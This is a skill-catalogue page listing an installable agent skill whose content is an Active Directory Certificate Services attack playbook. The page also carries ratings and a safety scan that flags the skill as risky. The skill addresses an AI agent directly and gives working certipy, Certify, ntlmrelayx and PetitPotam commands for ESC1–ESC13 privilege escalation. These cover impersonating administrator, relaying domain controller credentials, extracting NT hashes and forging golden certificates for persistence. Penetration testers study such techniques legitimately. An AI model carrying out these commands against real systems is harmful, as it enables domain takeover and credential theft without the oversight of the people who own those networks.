active-directory-certificate-services
AD Certificate Services attack playbook
Install / Use
npx skills add yaklang/hack-skills --skill active-directory-certificate-servicesInstalls into whichever agent you are using.
SKILL.md
Installable skill definition
Quality Score
Category
AI & Machine LearningSupported Platforms
Tags
Our assessment of active-directory-certificate-services
active-directory-certificate-services scores 86/100 on our quality scale, 551st of 947 AI & Machine Learning skills we index.
Its SKILL.md is 9.5 KB long, well organised into 52 sections with 15 code examples: a thorough specification that gives an agent plenty to work with.
With 2,288 GitHub stars, it is one of the more widely adopted skills in the catalogue.
Maintenance, license and trust
- The repository was last updated about 2 months ago, so active-directory-certificate-services is actively maintained.
- Our last check on 2026-11-03 found the source still online.
- It is released under the MIT license, a permissive license that allows use, modification and commercial use with attribution.
- Its trust signals score 100/100, with no cautions. These come from repository metadata, not a code audit — read the skill file before letting an agent act on it.
Safety scan
ReviewOur scan of the whole file found no instruction hijacking, hidden characters, credential access, data exfiltration or destructive commands. An AI review judged it risky (a second model did not confirm it as malicious): The skill file instructs the agent to perform AD CS privilege-escalation attacks (ESC1–ESC13), including requesting certificates impersonating administrator@domain.com and authenticating to extract NT hashes.
AI review: risky
- The skill file instructs the agent to perform AD CS privilege-escalation attacks (ESC1–ESC13), including requesting certificates impersonating administrator@domain.com and authenticating to extract NT hashes.
- It directs the agent to run credential-theft and persistence commands such as extracting the CA private key (certipy ca -backup), forging arbitrary certificates, and using them for persistent access.
- It includes NTLM relay and coercion commands (ntlmrelayx.py, PetitPotam.py) to capture or relay DC credentials to certificate enrollment endpoints, leading to domain compromise.
AI review by kimi-k2.7-code with a second opinion from glm-5.3 on 2026-10-01. Automated pattern scan on 2026-10-01. It catches known dangerous patterns, not every risk — read a skill before letting an agent act on it.
active-directory-certificate-services compared with similar skills
All 4 of these similar skills score higher than active-directory-certificate-services; compare them before choosing.
| Skill | Score | Stars | Updated | Format |
|---|---|---|---|---|
| active-directory-certificate-services (this skill)by yaklang | 86 | 2.3k | 2mo ago | SKILL.md |
| claude-memby thedotmack | 100 | 117.6k | today | CLAUDE.md |
| Understand-Anythingby Egonex-AI | 100 | 92.8k | 1d ago | CLAUDE.md |
| headroomby headroomlabs-ai | 100 | 79.8k | today | CLAUDE.md |
| CowAgentby zhayujie | 100 | 48.0k | today | CLAUDE.md |
Frequently asked questions
- How do I install active-directory-certificate-services?
- Run
npx skills add yaklang/hack-skills --skill active-directory-certificate-services. The install tabs above show the steps for each supported agent. - Which AI agents does active-directory-certificate-services work with?
- It is written for Universal, as a SKILL.md file. Other agents that read the same format can often use it too.
- Is active-directory-certificate-services safe to use?
- Our scan of the whole file found no instruction hijacking, hidden characters, credential access, data exfiltration or destructive commands. An AI review judged it risky (a second model did not confirm it as malicious): The skill file instructs the agent to perform AD CS privilege-escalation attacks (ESC1–ESC13), including requesting certificates impersonating administrator@domain.com and authenticating to extract NT hashes. It is MIT-licensed and scores 100/100 on trust signals. Skills are instructions an agent will follow, so read the file before installing it and do not approve commands you do not understand.
- Is active-directory-certificate-services still maintained?
- The repository was last updated about 2 months ago, so active-directory-certificate-services is actively maintained.
Skill content
View source on GitHubname: active-directory-certificate-services description: >- AD Certificate Services attack playbook. Use when targeting misconfigured AD CS for privilege escalation via ESC1-ESC13 template abuse, NTLM relay to enrollment, CA officer abuse, and certificate-based persistence.
SKILL: AD CS Attack Playbook — Expert Guide
AI LOAD INSTRUCTION: Expert AD CS (Active Directory Certificate Services) attack techniques. Covers ESC1 through ESC13, certificate-based persistence, NTLM relay to enrollment endpoints, and CA misconfigurations. Base models miss enrollment prerequisite chains and ESC condition combinations.
0. RELATED ROUTING
Before going deep, consider loading:
- active-directory-acl-abuse for ACL-based attacks that enable ESC4 (template modification)
- active-directory-kerberos-attacks for Kerberos techniques after obtaining certificates
- ntlm-relay-coercion for ESC8 (relay to HTTP enrollment endpoint)
- windows-lateral-movement for using obtained certificates for lateral movement
Advanced Reference
Also load ADCS_ESC_MATRIX.md when you need:
- ESC1–ESC13 quick reference table with conditions, impact, and tool commands
- One-liner exploitation commands per ESC variant
- Detection indicators per technique
1. AD CS ARCHITECTURE OVERVIEW
Certificate Authority (CA)
│
├── Enterprise CA (AD-integrated, issues certs based on templates)
│ ├── Certificate Templates (define who can enroll, what EKUs, subject settings)
│ ├── Enrollment endpoints: HTTP (certsrv), RPC, DCOM
│ └── Published in AD: CN=Public Key Services,CN=Services,CN=Configuration
│
├── Template Key Settings:
│ ├── Subject Alternative Name (SAN): who the cert represents
│ ├── Extended Key Usage (EKU): what the cert allows
│ ├── Enrollment permissions: who can request
│ └── Issuance requirements: manager approval, authorized signatures
│
└── Certificate → Kerberos Auth Flow:
User presents cert → PKINIT → KDC verifies → issues TGT
2. ENUMERATION
# Certipy (recommended — comprehensive)
certipy find -u user@domain.com -p password -dc-ip DC_IP -stdout
certipy find -u user@domain.com -p password -dc-ip DC_IP -vulnerable -stdout
# Certify (from Windows)
Certify.exe find
Certify.exe find /vulnerable
Certify.exe cas # Enumerate CAs
# Manual LDAP query for templates
ldapsearch -H ldap://DC_IP -D "user@domain.com" -w password \
-b "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=com" \
"(objectClass=pKICertificateTemplate)" cn msPKI-Certificate-Name-Flag pKIExtendedKeyUsage
3. ESC1 — ENROLLEE SUPPLIES SUBJECT
Condition: Template allows enrollee to specify Subject Alternative Name (SAN) + client authentication EKU + low-privilege enrollment.
# Certipy
certipy req -u user@domain.com -p password -ca CA-NAME -target CA_HOST \
-template VulnTemplate -upn administrator@domain.com
# Certify (Windows)
Certify.exe request /ca:CA-NAME /template:VulnTemplate /altname:administrator
# Authenticate with certificate
certipy auth -pfx administrator.pfx -dc-ip DC_IP
# → NT hash of administrator
4. ESC2 — ANY PURPOSE EKU
Condition: Template has "Any Purpose" EKU or no EKU (subordinate CA cert) + low-privilege enrollment.
# Same as ESC1 exploitation
certipy req -u user@domain.com -p password -ca CA-NAME -target CA_HOST \
-template AnyPurposeTemplate -upn administrator@domain.com
5. ESC3 — ENROLLMENT AGENT
Condition: Template allows enrollment agent certificate + another template allows enrollment on behalf of others.
# Step 1: Request enrollment agent cert
certipy req -u user@domain.com -p password -ca CA-NAME -target CA_HOST \
-template EnrollmentAgent
# Step 2: Use enrollment agent cert to request on behalf of admin
certipy req -u user@domain.com -p password -ca CA-NAME -target CA_HOST \
-template UserTemplate -on-behalf-of 'DOMAIN\administrator' -pfx enrollmentagent.pfx
# Authenticate
certipy auth -pfx administrator.pfx -dc-ip DC_IP
6. ESC4 — TEMPLATE ACL MISCONFIGURATION
Condition: Low-privilege user has write access to certificate template object.
# Modify template to become ESC1 vulnerable
# Using Certipy:
certipy template -u user@domain.com -p password -template VulnTemplate \
-save-old -dc-ip DC_IP
# Template is now ESC1 → exploit as ESC1
certipy req -u user@domain.com -p password -ca CA-NAME -target CA_HOST \
-template VulnTemplate -upn administrator@domain.com
# Restore original template (cleanup)
certipy template -u user@domain.com -p password -template VulnTemplate \
-configuration old_config.json -dc-ip DC_IP
7. ESC6 — EDITF_ATTRIBUTESUBJECTALTNAME2
Condition: CA has EDITF_ATTRIBUTESUBJECTALTNAME2 flag enabled → any template becomes ESC1.
# Check if flag is set
certutil -config "CA_HOST\CA-NAME" -getreg policy\EditFlags
# Exploit: request any template with SAN
certipy req -u user@domain.com -p password -ca CA-NAME -target CA_HOST \
-template User -upn administrator@domain.com
8. ESC7 — CA OFFICER / MANAGER PERMISSIONS
Condition: User has ManageCA or ManageCertificates permission on the CA.
# With ManageCA: enable SubCA template (always allows SAN)
certipy ca -u user@domain.com -p password -ca CA-NAME -dc-ip DC_IP \
-enable-template SubCA
# Request SubCA cert with admin SAN (will be denied — "pending")
certipy req -u user@domain.com -p password -ca CA-NAME -target CA_HOST \
-template SubCA -upn administrator@domain.com
# With ManageCertificates: approve the pending request
certipy ca -u user@domain.com -p password -ca CA-NAME -dc-ip DC_IP \
-issue-request REQUEST_ID
# Retrieve the issued certificate
certipy req -u user@domain.com -p password -ca CA-NAME -target CA_HOST \
-retrieve REQUEST_ID
9. ESC8 — NTLM RELAY TO HTTP ENROLLMENT
Condition: CA has HTTP enrollment endpoint (certsrv) without HTTPS enforcement.
# Setup relay to enrollment endpoint
ntlmrelayx.py -t http://CA_HOST/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
# Coerce DC authentication (PetitPotam, PrinterBug, etc.)
PetitPotam.py RELAY_HOST DC01.domain.com
# DC authenticates → relay → certificate issued for DC01$
# Authenticate with certificate
certipy auth -pfx dc01.pfx -dc-ip DC_IP
# → DC01$ hash → DCSync
10. ESC9-ESC13 — NEWER DISCOVERIES
ESC9: No Security Extension (StrongCertificateBindingEnforcement = 0/1)
Weak certificate mapping allows impersonation when CT_FLAG_NO_SECURITY_EXTENSION is set.
# Change victim's UPN to admin, request cert, change back
certipy shadow auto -u attacker@domain.com -p pass -account victim -dc-ip DC_IP
ESC10: Weak Certificate Mapping (Registry-based)
Similar to ESC9 but exploits CertificateMappingMethods registry value on DC.
ESC11: NTLM Relay to RPC Enrollment
Relay NTLM to the CA's RPC interface (IF_ENFORCEENCRYPTICERTREQUEST not set).
ntlmrelayx.py -t "rpc://CA_HOST" -rpc-mode ICPR -icpr-ca-name "CA-NAME" \
-smb2support --adcs --template DomainController
ESC13: OID Group Link (Issuance Policy)
Template's issuance policy OID is linked to a group → certificate grants that group membership.
certipy req -u user@domain.com -p pass -ca CA-NAME -target CA_HOST \
-template ESC13Template
# Certificate grants membership in linked group
11. CERTIFICATE-BASED PERSISTENCE
Golden Certificate
With CA private key → forge any certificate.
# Extract CA private key (requires admin on CA server)
certipy ca -backup -u admin@domain.com -p password -ca CA-NAME -target CA_HOST
# Forge certificate for any user
certipy forge -ca-pfx ca.pfx -upn administrator@domain.com -subject "CN=Administrator,CN=Users,DC=domain,DC=com"
# Authenticate with forged cert
certipy auth -pfx forged.pfx -dc-ip DC_IP
Persistence: Valid until CA certificate expires or CA private key is rotated.
ForgeCert (Windows)
ForgeCert.exe --CaCertPath ca.pfx --CaCertPassword "pass" --Subject "CN=User" \
--SubjectAltName "administrator@domain.com" --NewCertPath forged.pfx --NewCertPassword "pass"
12. AD CS ATTACK DECISION TREE
Targeting AD CS
│
├── Enumerate: certipy find -vulnerable
│
├── Vulnerable template found?
│ ├── Enrollee can set SAN + Client Auth EKU?
│ │ └── ESC1 → request cert with admin UPN (§3)
│ ├── Any Purpose EKU?
│ │ └── ESC2 → same as ESC1 (§4)
│ ├── Enrollment Agent template available?
│ │ └── ESC3 → enroll as agent, then on-behalf-of (§5)
│ └── OID group link in issuance policy?
│ └── ESC13 → request cert for group membership (§10)
│
├── Write access to template?
│ └── ESC4 → modify template to ESC1 condition (§6)
│
├── CA misconfiguration?
│ ├── EDITF_ATTRIBUTESUBJECTALTNAME2 flag?
│ │ └── ESC6 → any template becomes ESC1 (§7)
│ ├── ManageCA / ManageCertificates permission?
│ │ └── ESC7 → enable SubCA template, approve requests (§8)
│ └── HTTP enrollment without HTTPS?
│ └── ESC8 → NTLM relay to certsrv (§9)
│
├── Weak certificate mapping on DC?
│ ├── StrongCertificateBindingEnforcement < 2?
│ │ └── ESC9 → UPN manipulation + cert request (§10)
│ └── CertificateMappingMethods misconfigured?
│ └── ESC10 → similar UPN abuse (§10)
│
├── RPC enrollment without encryption?
│ └── ESC11 → NTLM relay to RPC (§10)
│
└── Already CA admin?
└── Golden certificate for persistence (§11)
Related Skills
claude-mem
117.6kPersistent Context Across Sessions for Every Agent – Captures everything your agent does during sessions, compresses it with AI, and injects relevant context back into future sessions. Works with Claude Code, OpenClaw, Codex, Gemini, Hermes, Copilot, OpenCode + More
Understand-Anything
92.8kGraphs that teach > graphs that impress. Turn any code into an interactive knowledge graph you can explore, search, and ask questions about. Works with Claude Code, Codex, Cursor, Copilot, Gemini CLI, and more.
headroom
79.8kCompress tool outputs, logs, files, and RAG chunks before they reach the LLM. 20% fewer tokens for coding agents, 60-95% fewer tokens for JSON, same answers. Library, proxy, MCP server.
CowAgent
48.0kOpen-source personal AI assistant & Agent Harness. Plans tasks, runs tools and skills, self-evolves with memory and knowledge. Multi-agent, multi-model, multi-channel. Lightweight, extensible, one-line install.
Languages
Trust signals
From repository metadata: license, adoption, age and documentation. Not a code audit — see the Safety scan above for what the skill file itself contains.
